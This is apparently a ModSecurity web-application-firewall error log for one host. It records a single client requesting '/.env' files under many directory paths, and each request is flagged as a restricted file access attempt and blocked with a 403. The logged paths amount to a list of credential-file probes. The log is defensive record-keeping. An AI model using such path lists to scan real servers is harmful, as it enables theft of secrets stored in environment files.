[Thu Feb 26 01:03:14.604815 2026] [:error] [pid 2330788] [client 185.177.72.22:15538] [client 185.177.72.22] ModSecurity: Access denied with code 403 (phase 2). Operator GE matched 5 at TX:anomaly_score. [file &quot;/usr/share/modsecurity-crs/rules/REQUEST-949-BLOCKING-EVALUATION.conf&quot;] [line &quot;91&quot;] [id &quot;949110&quot;] [msg &quot;Inbound Anomaly Score Exceeded (Total Score: 5)&quot;] [severity &quot;CRITICAL&quot;] [tag &quot;application-multi&quot;] [tag &quot;language-multi&quot;] [tag &quot;platform-multi&quot;] [tag &quot;attack-generic&quot;] [hostname &quot;pms.test.indacotrentino.com&quot;] [uri &quot;/protected/.env&quot;] [unique_id &quot;aZ-NwiSJSniLip0oFXizFQAAAAA&quot;]
[Thu Feb 26 01:03:14.604966 2026] [:error] [pid 2330788] [client 185.177.72.22:15538] [client 185.177.72.22] ModSecurity: Warning. Operator GE matched 5 at TX:inbound_anomaly_score. [file &quot;/usr/share/modsecurity-crs/rules/RESPONSE-980-CORRELATION.conf&quot;] [line &quot;86&quot;] [id &quot;980130&quot;] [msg &quot;Inbound Anomaly Score Exceeded (Total Inbound Score: 5 - SQLI=0,XSS=0,RFI=0,LFI=5,RCE=0,PHPI=0,HTTP=0,SESS=0): individual paranoia level scores: 5, 0, 0, 0&quot;] [tag &quot;event-correlation&quot;] [hostname &quot;pms.test.indacotrentino.com&quot;] [uri &quot;/protected/.env&quot;] [unique_id &quot;aZ-NwiSJSniLip0oFXizFQAAAAA&quot;]
[Thu Feb 26 01:03:14.636143 2026] [:error] [pid 2330788] [client 185.177.72.22:15538] [client 185.177.72.22] ModSecurity: Warning. Matched phrase &quot;/.env&quot; at REQUEST_FILENAME. [file &quot;/usr/share/modsecurity-crs/rules/REQUEST-930-APPLICATION-ATTACK-LFI.conf&quot;] [line &quot;124&quot;] [id &quot;930130&quot;] [msg &quot;Restricted File Access Attempt&quot;] [data &quot;Matched Data: /.env found within REQUEST_FILENAME: /psnlink/.env&quot;] [severity &quot;CRITICAL&quot;] [ver &quot;OWASP_CRS/3.2.0&quot;] [tag &quot;application-multi&quot;] [tag &quot;language-multi&quot;] [tag &quot;platform-multi&quot;] [tag &quot;attack-lfi&quot;] [tag &quot;OWASP_CRS&quot;] [tag &quot;OWASP_CRS/WEB_ATTACK/FILE_INJECTION&quot;] [tag &quot;WASCTC/WASC-33&quot;] [tag &quot;OWASP_TOP_10/A4&quot;] [tag &quot;PCI/6.5.4&quot;] [hostname &quot;pms.test.indacotrentino.com&quot;] [uri &quot;/psnlink/.env&quot;] [unique_id &quot;aZ-NwiSJSniLip0oFXizFgAAAAA&quot;]
[Thu Feb 26 01:03:14.636361 2026] [:error] [pid 2330788] [client 185.177.72.22:15538] [client 185.177.72.22] ModSecurity: Access denied with code 403 (phase 2). Operator GE matched 5 at TX:anomaly_score. [file &quot;/usr/share/modsecurity-crs/rules/REQUEST-949-BLOCKING-EVALUATION.conf&quot;] [line &quot;91&quot;] [id &quot;949110&quot;] [msg &quot;Inbound Anomaly Score Exceeded (Total Score: 5)&quot;] [severity &quot;CRITICAL&quot;] [tag &quot;application-multi&quot;] [tag &quot;language-multi&quot;] [tag &quot;platform-multi&quot;] [tag &quot;attack-generic&quot;] [hostname &quot;pms.test.indacotrentino.com&quot;] [uri &quot;/psnlink/.env&quot;] [unique_id &quot;aZ-NwiSJSniLip0oFXizFgAAAAA&quot;]
[Thu Feb 26 01:03:14.636528 2026] [:error] [pid 2330788] [client 185.177.72.22:15538] [client 185.177.72.22] ModSecurity: Warning. Operator GE matched 5 at TX:inbound_anomaly_score. [file &quot;/usr/share/modsecurity-crs/rules/RESPONSE-980-CORRELATION.conf&quot;] [line &quot;86&quot;] [id &quot;980130&quot;] [msg &quot;Inbound Anomaly Score Exceeded (Total Inbound Score: 5 - SQLI=0,XSS=0,RFI=0,LFI=5,RCE=0,PHPI=0,HTTP=0,SESS=0): individual paranoia level scores: 5, 0, 0, 0&quot;] [tag &quot;event-correlation&quot;] [hostname &quot;pms.test.indacotrentino.com&quot;] [uri &quot;/psnlink/.env&quot;] [unique_id &quot;aZ-NwiSJSniLip0oFXizFgAAAAA&quot;]
[Thu Feb 26 01:03:14.666242 2026] [:error] [pid 2330788] [client 185.177.72.22:15538] [client 185.177.72.22] ModSecurity: Warning. Matched phrase &quot;/.env&quot; at REQUEST_FILENAME. [file &quot;/usr/share/modsecurity-crs/rules/REQUEST-930-APPLICATION-ATTACK-LFI.conf&quot;] [line &quot;124&quot;] [id &quot;930130&quot;] [msg &quot;Restricted File Access Attempt&quot;] [data &quot;Matched Data: /.env found within REQUEST_FILENAME: /pt2/countries/src/.env&quot;] [severity &quot;CRITICAL&quot;] [ver &quot;OWASP_CRS/3.2.0&quot;] [tag &quot;application-multi&quot;] [tag &quot;language-multi&quot;] [tag &quot;platform-multi&quot;] [tag &quot;attack-lfi&quot;] [tag &quot;OWASP_CRS&quot;] [tag &quot;OWASP_CRS/WEB_ATTACK/FILE_INJECTION&quot;] [tag &quot;WASCTC/WASC-33&quot;] [tag &quot;OWASP_TOP_10/A4&quot;] [tag &quot;PCI/6.5.4&quot;] [hostname &quot;pms.test.indacotrentino.com&quot;] [uri &quot;/pt2/countries/src/.env&quot;] [unique_id &quot;aZ-NwiSJSniLip0oFXizFwAAAAA&quot;]
[Thu Feb 26 01:03:14.666534 2026] [:error] [pid 2330788] [client 185.177.72.22:15538] [client 185.177.72.22] ModSecurity: Access denied with code 403 (phase 2). Operator GE matched 5 at TX:anomaly_score. [file &quot;/usr/share/modsecurity-crs/rules/REQUEST-949-BLOCKING-EVALUATION.conf&quot;] [line &quot;91&quot;] [id &quot;949110&quot;] [msg &quot;Inbound Anomaly Score Exceeded (Total Score: 5)&quot;] [severity &quot;CRITICAL&quot;] [tag &quot;application-multi&quot;] [tag &quot;language-multi&quot;] [tag &quot;platform-multi&quot;] [tag &quot;attack-generic&quot;] [hostname &quot;pms.test.indacotrentino.com&quot;] [uri &quot;/pt2/countries/src/.env&quot;] [unique_id &quot;aZ-NwiSJSniLip0oFXizFwAAAAA&quot;]
[Thu Feb 26 01:03:14.666690 2026] [:error] [pid 2330788] [client 185.177.72.22:15538] [client 185.177.72.22] ModSecurity: Warning. Operator GE matched 5 at TX:inbound_anomaly_score. [file &quot;/usr/share/modsecurity-crs/rules/RESPONSE-980-CORRELATION.conf&quot;] [line &quot;86&quot;] [id &quot;980130&quot;] [msg &quot;Inbound Anomaly Score Exceeded (Total Inbound Score: 5 - SQLI=0,XSS=0,RFI=0,LFI=5,RCE=0,PHPI=0,HTTP=0,SESS=0): individual paranoia level scores: 5, 0, 0, 0&quot;] [tag &quot;event-correlation&quot;] [hostname &quot;pms.test.indacotrentino.com&quot;] [uri &quot;/pt2/countries/src/.env&quot;] [unique_id &quot;aZ-NwiSJSniLip0oFXizFwAAAAA&quot;]
[Thu Feb 26 01:03:14.685744 2026] [:error] [pid 2330789] [client 185.177.72.22:15522] [client 185.177.72.22] ModSecurity: Warning. Matched phrase &quot;/.env&quot; at REQUEST_FILENAME. [file &quot;/usr/share/modsecurity-crs/rules/REQUEST-930-APPLICATION-ATTACK-LFI.conf&quot;] [line &quot;124&quot;] [id &quot;930130&quot;] [msg &quot;Restricted File Access Attempt&quot;] [data &quot;Matched Data: /.env found within REQUEST_FILENAME: /question2/.env&quot;] [severity &quot;CRITICAL&quot;] [ver &quot;OWASP_CRS/3.2.0&quot;] [tag &quot;application-multi&quot;] [tag &quot;language-multi&quot;] [tag &quot;platform-multi&quot;] [tag &quot;attack-lfi&quot;] [tag &quot;OWASP_CRS&quot;] [tag &quot;OWASP_CRS/WEB_ATTACK/FILE_INJECTION&quot;] [tag &quot;WASCTC/WASC-33&quot;] [tag &quot;OWASP_TOP_10/A4&quot;] [tag &quot;PCI/6.5.4&quot;] [hostname &quot;pms.test.indacotrentino.com&quot;] [uri &quot;/question2/.env&quot;] [unique_id &quot;aZ-NwjAL5Lg_nL66HcLh6gAAAAE&quot;]
[Thu Feb 26 01:03:14.685978 2026] [:error] [pid 2330789] [client 185.177.72.22:15522] [client 185.177.72.22] ModSecurity: Access denied with code 403 (phase 2). Operator GE matched 5 at TX:anomaly_score. [file &quot;/usr/share/modsecurity-crs/rules/REQUEST-949-BLOCKING-EVALUATION.conf&quot;] [line &quot;91&quot;] [id &quot;949110&quot;] [msg &quot;Inbound Anomaly Score Exceeded (Total Score: 5)&quot;] [severity &quot;CRITICAL&quot;] [tag &quot;application-multi&quot;] [tag &quot;language-multi&quot;] [tag &quot;platform-multi&quot;] [tag &quot;attack-generic&quot;] [hostname &quot;pms.test.indacotrentino.com&quot;] [uri &quot;/question2/.env&quot;] [unique_id &quot;aZ-NwjAL5Lg_nL66HcLh6gAAAAE&quot;]
[Thu Feb 26 01:03:14.686134 2026] [:error] [pid 2330789] [client 185.177.72.22:15522] [client 185.177.72.22] ModSecurity: Warning. Operator GE matched 5 at TX:inbound_anomaly_score. [file &quot;/usr/share/modsecurity-crs/rules/RESPONSE-980-CORRELATION.conf&quot;] [line &quot;86&quot;] [id &quot;980130&quot;] [msg &quot;Inbound Anomaly Score Exceeded (Total Inbound Score: 5 - SQLI=0,XSS=0,RFI=0,LFI=5,RCE=0,PHPI=0,HTTP=0,SESS=0): individual paranoia level scores: 5, 0, 0, 0&quot;] [tag &quot;event-correlation&quot;] [hostname &quot;pms.test.indacotrentino.com&quot;] [uri &quot;/question2/.env&quot;] [unique_id &quot;aZ-NwjAL5Lg_nL66HcLh6gAAAAE&quot;]
[Thu Feb 26 01:03:14.688786 2026] [:error] [pid 2330788] [client 185.177.72.22:15538] [client 185.177.72.22] ModSecurity: Warning. Matched phrase &quot;/.env&quot; at REQUEST_FILENAME. [file &quot;/usr/share/modsecurity-crs/rules/REQUEST-930-APPLICATION-ATTACK-LFI.conf&quot;] [line &quot;124&quot;] [id &quot;930130&quot;] [msg &quot;Restricted File Access Attempt&quot;] [data &quot;Matched Data: /.env found within REQUEST_FILENAME: /pt8/library-backend-gql/.env&quot;] [severity &quot;CRITICAL&quot;] [ver &quot;OWASP_CRS/3.2.0&quot;] [tag &quot;application-multi&quot;] [tag &quot;language-multi&quot;] [tag &quot;platform-multi&quot;] [tag &quot;attack-lfi&quot;] [tag &quot;OWASP_CRS&quot;] [tag &quot;OWASP_CRS/WEB_ATTACK/FILE_INJECTION&quot;] [tag &quot;WASCTC/WASC-33&quot;] [tag &quot;OWASP_TOP_10/A4&quot;] [tag &quot;PCI/6.5.4&quot;] [hostname &quot;pms.test.indacotrentino.com&quot;] [uri &quot;/pt8/library-backend-gql/.env&quot;] [unique_id &quot;aZ-NwiSJSniLip0oFXizGAAAAAA&quot;]
[Thu Feb 26 01:03:14.689026 2026] [:error] [pid 2330788] [client 185.177.72.22:15538] [client 185.177.72.22] ModSecurity: Access denied with code 403 (phase 2). Operator GE matched 5 at TX:anomaly_score. [file &quot;/usr/share/modsecurity-crs/rules/REQUEST-949-BLOCKING-EVALUATION.conf&quot;] [line &quot;91&quot;] [id &quot;949110&quot;] [msg &quot;Inbound Anomaly Score Exceeded (Total Score: 5)&quot;] [severity &quot;CRITICAL&quot;] [tag &quot;application-multi&quot;] [tag &quot;language-multi&quot;] [tag &quot;platform-multi&quot;] [tag &quot;attack-generic&quot;] [hostname &quot;pms.test.indacotrentino.com&quot;] [uri &quot;/pt8/library-backend-gql/.env&quot;] [unique_id &quot;aZ-NwiSJSniLip0oFXizGAAAAAA&quot;]
[Thu Feb 26 01:03:14.689186 2026] [:error] [pid 2330788] [client 185.177.72.22:15538] [client 185.177.72.22] ModSecurity: Warning. Operator GE matched 5 at TX:inbound_anomaly_score. [file &quot;/usr/share/modsecurity-crs/rules/RESPONSE-980-CORRELATION.conf&quot;] [line &quot;86&quot;] [id &quot;980130&quot;] [msg &quot;Inbound Anomaly Score Exceeded (Total Inbound Score: 5 - SQLI=0,XSS=0,RFI=0,LFI=5,RCE=0,PHPI=0,HTTP=0,SESS=0): individual paranoia level scores: 5, 0, 0, 0&quot;] [tag &quot;event-correlation&quot;] [hostname &quot;pms.test.indacotrentino.com&quot;] [uri &quot;/pt8/library-backend-gql/.env&quot;] [unique_id &quot;aZ-NwiSJSniLip0oFXizGAAAAAA&quot;]
[Thu Feb 26 01:03:14.718259 2026] [:error] [pid 2330789] [client 185.177.72.22:15522] [client 185.177.72.22] ModSecurity: Warning. Matched phrase &quot;/.env&quot; at REQUEST_FILENAME. [file &quot;/usr/share/modsecurity-crs/rules/REQUEST-930-APPLICATION-ATTACK-LFI.conf&quot;] [line &quot;124&quot;] [id &quot;930130&quot;] [msg &quot;Restricted File Access Attempt&quot;] [data &quot;Matched Data: /.env found within REQUEST_FILENAME: /qv-frontend/.env&quot;] [severity &quot;CRITICAL&quot;] [ver &quot;OWASP_CRS/3.2.0&quot;] [tag &quot;application-multi&quot;] [tag &quot;language-multi&quot;] [tag &quot;platform-multi&quot;] [tag &quot;attack-lfi&quot;] [tag &quot;OWASP_CRS&quot;] [tag &quot;OWASP_CRS/WEB_ATTACK/FILE_INJECTION&quot;] [tag &quot;WASCTC/WASC-33&quot;] [tag &quot;OWASP_TOP_10/A4&quot;] [tag &quot;PCI/6.5.4&quot;] [hostname &quot;pms.test.indacotrentino.com&quot;] [uri &quot;/qv-frontend/.env&quot;] [unique_id &quot;aZ-NwjAL5Lg_nL66HcLh6wAAAAE&quot;]
[Thu Feb 26 01:03:14.718561 2026] [:error] [pid 2330789] [client 185.177.72.22:15522] [client 185.177.72.22] ModSecurity: Access denied with code 403 (phase 2). Operator GE matched 5 at TX:anomaly_score. [file &quot;/usr/share/modsecurity-crs/rules/REQUEST-949-BLOCKING-EVALUATION.conf&quot;] [line &quot;91&quot;] [id &quot;949110&quot;] [msg &quot;Inbound Anomaly Score Exceeded (Total Score: 5)&quot;] [severity &quot;CRITICAL&quot;] [tag &quot;application-multi&quot;] [tag &quot;language-multi&quot;] [tag &quot;platform-multi&quot;] [tag &quot;attack-generic&quot;] [hostname &quot;pms.test.indacotrentino.com&quot;] [uri &quot;/qv-frontend/.env&quot;] [unique_id &quot;aZ-NwjAL5Lg_nL66HcLh6wAAAAE&quot;]
[Thu Feb 26 01:03:14.718736 2026] [:error] [pid 2330789] [client 185.177.72.22:15522] [client 185.177.72.22] ModSecurity: Warning. Operator GE matched 5 at TX:inbound_anomaly_score. [file &quot;/usr/share/modsecurity-crs/rules/RESPONSE-980-CORRELATION.conf&quot;] [line &quot;86&quot;] [id &quot;980130&quot;] [msg &quot;Inbound Anomaly Score Exceeded (Total Inbound Score: 5 - SQLI=0,XSS=0,RFI=0,LFI=5,RCE=0,PHPI=0,HTTP=0,SESS=0): individual paranoia level scores: 5, 0, 0, 0&quot;] [tag &quot;event-correlation&quot;] [hostname &quot;pms.test.indacotrentino.com&quot;] [uri &quot;/qv-frontend/.env&quot;] [unique_id &quot;aZ-NwjAL5Lg_nL66HcLh6wAAAAE&quot;]
[Thu Feb 26 01:03:14.742858 2026] [:error] [pid 2330789] [client 185.177.72.22:15522] [client 185.177.72.22] ModSecurity: Warning. Matched phrase &quot;/.env&quot; at REQUEST_FILENAME. [file &quot;/usr/share/modsecurity-crs/rules/REQUEST-930-APPLICATION-ATTACK-LFI.conf&quot;] [line &quot;124&quot;] [id &quot;930130&quot;] [msg &quot;Restricted File Access Attempt&quot;] [data &quot;Matched Data: /.env found within REQUEST_FILENAME: /rabbitmq-cluster/.env&quot;] [severity &quot;CRITICAL&quot;] [ver &quot;OWASP_CRS/3.2.0&quot;] [tag &quot;application-multi&quot;] [tag &quot;language-multi&quot;] [tag &quot;platform-multi&quot;] [tag &quot;attack-lfi&quot;] [tag &quot;OWASP_CRS&quot;] [tag &quot;OWASP_CRS/WEB_ATTACK/FILE_INJECTION&quot;] [tag &quot;WASCTC/WASC-33&quot;] [tag &quot;OWASP_TOP_10/A4&quot;] [tag &quot;PCI/6.5.4&quot;] [hostname &quot;pms.test.indacotrentino.com&quot;] [uri &quot;/rabbitmq-cluster/.env&quot;] [unique_id &quot;aZ-NwjAL5Lg_nL66HcLh7AAAAAE&quot;]
[Thu Feb 26 01:03:14.743125 2026] [:error] [pid 2330789] [client 185.177.72.22:15522] [client 185.177.72.22] ModSecurity: Access denied with code 403 (phase 2). Operator GE matched 5 at TX:anomaly_score. [file &quot;/usr/share/modsecurity-crs/rules/REQUEST-949-BLOCKING-EVALUATION.conf&quot;] [line &quot;91&quot;] [id &quot;949110&quot;] [msg &quot;Inbound Anomaly Score Exceeded (Total Score: 5)&quot;] [severity &quot;CRITICAL&quot;] [tag &quot;application-multi&quot;] [tag &quot;language-multi&quot;] [tag &quot;platform-multi&quot;] [tag &quot;attack-generic&quot;] [hostname &quot;pms.test.indacotrentino.com&quot;] [uri &quot;/rabbitmq-cluster/.env&quot;] [unique_id &quot;aZ-NwjAL5Lg_nL66HcLh7AAAAAE&quot;]
[Thu Feb 26 01:03:14.743290 2026] [:error] [pid 2330789] [client 185.177.72.22:15522] [client 185.177.72.22] ModSecurity: Warning. Operator GE matched 5 at TX:inbound_anomaly_score. [file &quot;/usr/share/modsecurity-crs/rules/RESPONSE-980-CORRELATION.conf&quot;] [line &quot;86&quot;] [id &quot;980130&quot;] [msg &quot;Inbound Anomaly Score Exceeded (Total Inbound Score: 5 - SQLI=0,XSS=0,RFI=0,LFI=5,RCE=0,PHPI=0,HTTP=0,SESS=0): individual paranoia level scores: 5, 0, 0, 0&quot;] [tag &quot;event-correlation&quot;] [hostname &quot;pms.test.indacotrentino.com&quot;] [uri &quot;/rabbitmq-cluster/.env&quot;] [unique_id &quot;aZ-NwjAL5Lg_nL66HcLh7AAAAAE&quot;]
[Thu Feb 26 01:03:14.744490 2026] [:error] [pid 2330788] [client 185.177.72.22:15538] [client 185.177.72.22] ModSecurity: Warning. Matched phrase &quot;/.env&quot; at REQUEST_FILENAME. [file &quot;/usr/share/modsecurity-crs/rules/REQUEST-930-APPLICATION-ATTACK-LFI.conf&quot;] [line &quot;124&quot;] [id &quot;930130&quot;] [msg &quot;Restricted File Access Attempt&quot;] [data &quot;Matched Data: /.env found within REQUEST_FILENAME: /pub/.env&quot;] [severity &quot;CRITICAL&quot;] [ver &quot;OWASP_CRS/3.2.0&quot;] [tag &quot;application-multi&quot;] [tag &quot;language-multi&quot;] [tag &quot;platform-multi&quot;] [tag &quot;attack-lfi&quot;] [tag &quot;OWASP_CRS&quot;] [tag &quot;OWASP_CRS/WEB_ATTACK/FILE_INJECTION&quot;] [tag &quot;WASCTC/WASC-33&quot;] [tag &quot;OWASP_TOP_10/A4&quot;] [tag &quot;PCI/6.5.4&quot;] [hostname &quot;pms.test.indacotrentino.com&quot;] [uri &quot;/pub/.env&quot;] [unique_id &quot;aZ-NwiSJSniLip0oFXizGQAAAAA&quot;]
[Thu Feb 26 01:03:14.744736 2026] [:error] [pid 2330788] [client 185.177.72.22:15538] [client 185.177.72.22] ModSecurity: Access denied with code 403 (phase 2). Operator GE matched 5 at TX:anomaly_score. [file &quot;/usr/share/modsecurity-crs/rules/REQUEST-949-BLOCKING-EVALUATION.conf&quot;] [line &quot;91&quot;] [id &quot;949110&quot;] [msg &quot;Inbound Anomaly Score Exceeded (Total Score: 5)&quot;] [severity &quot;CRITICAL&quot;] [tag &quot;application-multi&quot;] [tag &quot;language-multi&quot;] [tag &quot;platform-multi&quot;] [tag &quot;attack-generic&quot;] [hostname &quot;pms.test.indacotrentino.com&quot;] [uri &quot;/pub/.env&quot;] [unique_id &quot;aZ-NwiSJSniLip0oFXizGQAAAAA&quot;]
[Thu Feb 26 01:03:14.744881 2026] [:error] [pid 2330788] [client 185.177.72.22:15538] [client 185.177.72.22] ModSecurity: Warning. Operator GE matched 5 at TX:inbound_anomaly_score. [file &quot;/usr/share/modsecurity-crs/rules/RESPONSE-980-CORRELATION.conf&quot;] [line &quot;86&quot;] [id &quot;980130&quot;] [msg &quot;Inbound Anomaly Score Exceeded (Total Inbound Score: 5 - SQLI=0,XSS=0,RFI=0,LFI=5,RCE=0,PHPI=0,HTTP=0,SESS=0): individual paranoia level scores: 5, 0, 0, 0&quot;] [tag &quot;event-correlation&quot;] [hostname &quot;pms.test.indacotrentino.com&quot;] [uri &quot;/pub/.env&quot;] [unique_id &quot;aZ-NwiSJSniLip0oFXizGQAAAAA&quot;]
[Thu Feb 26 01:03:14.799313 2026] [:error] [pid 2330789] [client 185.177.72.22:15522] [client 185.177.72.22] ModSecurity: Warning. Matched phrase &quot;/.env&quot; at REQUEST_FILENAME. [file &quot;/usr/share/modsecurity-crs/rules/REQUEST-930-APPLICATION-ATTACK-LFI.conf&quot;] [line &quot;124&quot;] [id &quot;930130&quot;] [msg &quot;Restricted File Access Attempt&quot;] [data &quot;Matched Data: /.env found within REQUEST_FILENAME: /rails-api/react-app/.env&quot;] [severity &quot;CRITICAL&quot;] [ver &quot;OWASP_CRS/3.2.0&quot;] [tag &quot;application-multi&quot;] [tag &quot;language-multi&quot;] [tag &quot;platform-multi&quot;] [tag &quot;attack-lfi&quot;] [tag &quot;OWASP_CRS&quot;] [tag &quot;OWASP_CRS/WEB_ATTACK/FILE_INJECTION&quot;] [tag &quot;WASCTC/WASC-33&quot;] [tag &quot;OWASP_TOP_10/A4&quot;] [tag &quot;PCI/6.5.4&quot;] [hostname &quot;pms.test.indacotrentino.com&quot;] [uri &quot;/rails-api/react-app/.env&quot;] [unique_id &quot;aZ-NwjAL5Lg_nL66HcLh7QAAAAE&quot;]
[Thu Feb 26 01:03:14.799551 2026] [:error] [pid 2330789] [client 185.177.72.22:15522] [client 185.177.72.22] ModSecurity: Access denied with code 403 (phase 2). Operator GE matched 5 at TX:anomaly_score. [file &quot;/usr/share/modsecurity-crs/rules/REQUEST-949-BLOCKING-EVALUATION.conf&quot;] [line &quot;91&quot;] [id &quot;949110&quot;] [msg &quot;Inbound Anomaly Score Exceeded (Total Score: 5)&quot;] [severity &quot;CRITICAL&quot;] [tag &quot;application-multi&quot;] [tag &quot;language-multi&quot;] [tag &quot;platform-multi&quot;] [tag &quot;attack-generic&quot;] [hostname &quot;pms.test.indacotrentino.com&quot;] [uri &quot;/rails-api/react-app/.env&quot;] [unique_id &quot;aZ-NwjAL5Lg_nL66HcLh7QAAAAE&quot;]
[Thu Feb 26 01:03:14.799701 2026] [:error] [pid 2330789] [client 185.177.72.22:15522] [client 185.177.72.22] ModSecurity: Warning. Operator GE matched 5 at TX:inbound_anomaly_score. [file &quot;/usr/share/modsecurity-crs/rules/RESPONSE-980-CORRELATION.conf&quot;] [line &quot;86&quot;] [id &quot;980130&quot;] [msg &quot;Inbound Anomaly Score Exceeded (Total Inbound Score: 5 - SQLI=0,XSS=0,RFI=0,LFI=5,RCE=0,PHPI=0,HTTP=0,SESS=0): individual paranoia level scores: 5, 0, 0, 0&quot;] [tag &quot;event-correlation&quot;] [hostname &quot;pms.test.indacotrentino.com&quot;] [uri &quot;/rails-api/react-app/.env&quot;] [unique_id &quot;aZ-NwjAL5Lg_nL66HcLh7QAAAAE&quot;]
[Thu Feb 26 01:03:14.830883 2026] [:error] [pid 2330789] [client 185.177.72.22:15522] [client 185.177.72.22] ModSecurity: Warning. Matched phrase &quot;/.env&quot; at REQUEST_FILENAME. [file &quot;/usr/share/modsecurity-crs/rules/REQUEST-930-APPLICATION-ATTACK-LFI.conf&quot;] [line &quot;124&quot;] [id &quot;930130&quot;] [msg &quot;Restricted File Access Attempt&quot;] [data &quot;Matched Data: /.env found within REQUEST_FILENAME: /rails/.env&quot;] [severity &quot;CRITICAL&quot;] [ver &quot;OWASP_CRS/3.2.0&quot;] [tag &quot;application-multi&quot;] [tag &quot;language-multi&quot;] [tag &quot;platform-multi&quot;] [tag &quot;attack-lfi&quot;] [tag &quot;OWASP_CRS&quot;] [tag &quot;OWASP_CRS/WEB_ATTACK/FILE_INJECTION&quot;] [tag &quot;WASCTC/WASC-33&quot;] [tag &quot;OWASP_TOP_10/A4&quot;] [tag &quot;PCI/6.5.4&quot;] [hostname &quot;pms.test.indacotrentino.com&quot;] [uri &quot;/rails/.env&quot;] [unique_id &quot;aZ-NwjAL5Lg_nL66HcLh7gAAAAE&quot;]
[Thu Feb 26 01:03:14.831131 2026] [:error] [pid 2330789] [client 185.177.72.22:15522] [client 185.177.72.22] ModSecurity: Access denied with code 403 (phase 2). Operator GE matched 5 at TX:anomaly_score. [file &quot;/usr/share/modsecurity-crs/rules/REQUEST-949-BLOCKING-EVALUATION.conf&quot;] [line &quot;91&quot;] [id &quot;949110&quot;] [msg &quot;Inbound Anomaly Score Exceeded (Total Score: 5)&quot;] [severity &quot;CRITICAL&quot;] [tag &quot;application-multi&quot;] [tag &quot;language-multi&quot;] [tag &quot;platform-multi&quot;] [tag &quot;attack-generic&quot;] [hostname &quot;pms.test.indacotrentino.com&quot;] [uri &quot;/rails/.env&quot;] [unique_id &quot;aZ-NwjAL5Lg_nL66HcLh7gAAAAE&quot;]
[Thu Feb 26 01:03:14.831282 2026] [:error] [pid 2330789] [client 185.177.72.22:15522] [client 185.177.72.22] ModSecurity: Warning. Operator GE matched 5 at TX:inbound_anomaly_score. [file &quot;/usr/share/modsecurity-crs/rules/RESPONSE-980-CORRELATION.conf&quot;] [line &quot;86&quot;] [id &quot;980130&quot;] [msg &quot;Inbound Anomaly Score Exceeded (Total Inbound Score: 5 - SQLI=0,XSS=0,RFI=0,LFI=5,RCE=0,PHPI=0,HTTP=0,SESS=0): individual paranoia level scores: 5, 0, 0, 0&quot;] [tag &quot;event-correlation&quot;] [hostname &quot;pms.test.indacotrentino.com&quot;] [uri &quot;/rails/.env&quot;] [unique_id &quot;aZ-NwjAL5Lg_nL66HcLh7gAAAAE&quot;]
[Thu Feb 26 01:03:14.846828 2026] [:error] [pid 2330788] [client 185.177.72.22:15538] [client 185.177.72.22] ModSecurity: Warning. Matched phrase &quot;/.env&quot; at REQUEST_FILENAME. [file &quot;/usr/share/modsecurity-crs/rules/REQUEST-930-APPLICATION-ATTACK-LFI.conf&quot;] [line &quot;124&quot;] [id &quot;930130&quot;] [msg &quot;Restricted File Access Attempt&quot;] [data &quot;Matched Data: /.env found within REQUEST_FILENAME: /public_html/.env&quot;] [severity &quot;CRITICAL&quot;] [ver &quot;OWASP_CRS/3.2.0&quot;] [tag &quot;application-multi&quot;] [tag &quot;language-multi&quot;] [tag &quot;platform-multi&quot;] [tag &quot;attack-lfi&quot;] [tag &quot;OWASP_CRS&quot;] [tag &quot;OWASP_CRS/WEB_ATTACK/FILE_INJECTION&quot;] [tag &quot;WASCTC/WASC-33&quot;] [tag &quot;OWASP_TOP_10/A4&quot;] [tag &quot;PCI/6.5.4&quot;] [hostname &quot;pms.test.indacotrentino.com&quot;] [uri &quot;/public_html/.env&quot;] [unique_id &quot;aZ-NwiSJSniLip0oFXizGwAAAAA&quot;]
[Thu Feb 26 01:03:14.847058 2026] [:error] [pid 2330788] [client 185.177.72.22:15538] [client 185.177.72.22] ModSecurity: Access denied with code 403 (phase 2). Operator GE matched 5 at TX:anomaly_score. [file &quot;/usr/share/modsecurity-crs/rules/REQUEST-949-BLOCKING-EVALUATION.conf&quot;] [line &quot;91&quot;] [id &quot;949110&quot;] [msg &quot;Inbound Anomaly Score Exceeded (Total Score: 5)&quot;] [severity &quot;CRITICAL&quot;] [tag &quot;application-multi&quot;] [tag &quot;language-multi&quot;] [tag &quot;platform-multi&quot;] [tag &quot;attack-generic&quot;] [hostname &quot;pms.test.indacotrentino.com&quot;] [uri &quot;/public_html/.env&quot;] [unique_id &quot;aZ-NwiSJSniLip0oFXizGwAAAAA&quot;]
[Thu Feb 26 01:03:14.847200 2026] [:error] [pid 2330788] [client 185.177.72.22:15538] [client 185.177.72.22] ModSecurity: Warning. Operator GE matched 5 at TX:inbound_anomaly_score. [file &quot;/usr/share/modsecurity-crs/rules/RESPONSE-980-CORRELATION.conf&quot;] [line &quot;86&quot;] [id &quot;980130&quot;] [msg &quot;Inbound Anomaly Score Exceeded (Total Inbound Score: 5 - SQLI=0,XSS=0,RFI=0,LFI=5,RCE=0,PHPI=0,HTTP=0,SESS=0): individual paranoia level scores: 5, 0, 0, 0&quot;] [tag &quot;event-correlation&quot;] [hostname &quot;pms.test.indacotrentino.com&quot;] [uri &quot;/public_html/.env&quot;] [unique_id &quot;aZ-NwiSJSniLip0oFXizGwAAAAA&quot;]
[Thu Feb 26 01:03:14.862047 2026] [:error] [pid 2330789] [client 185.177.72.22:15522] [client 185.177.72.22] ModSecurity: Warning. Matched phrase &quot;/.env&quot; at REQUEST_FILENAME. [file &quot;/usr/share/modsecurity-crs/rules/REQUEST-930-APPLICATION-ATTACK-LFI.conf&quot;] [line &quot;124&quot;] [id &quot;930130&quot;] [msg &quot;Restricted File Access Attempt&quot;] [data &quot;Matched Data: /.env found within REQUEST_FILENAME: /rasax/.env&quot;] [severity &quot;CRITICAL&quot;] [ver &quot;OWASP_CRS/3.2.0&quot;] [tag &quot;application-multi&quot;] [tag &quot;language-multi&quot;] [tag &quot;platform-multi&quot;] [tag &quot;attack-lfi&quot;] [tag &quot;OWASP_CRS&quot;] [tag &quot;OWASP_CRS/WEB_ATTACK/FILE_INJECTION&quot;] [tag &quot;WASCTC/WASC-33&quot;] [tag &quot;OWASP_TOP_10/A4&quot;] [tag &quot;PCI/6.5.4&quot;] [hostname &quot;pms.test.indacotrentino.com&quot;] [uri &quot;/rasax/.env&quot;] [unique_id &quot;aZ-NwjAL5Lg_nL66HcLh7wAAAAE&quot;]
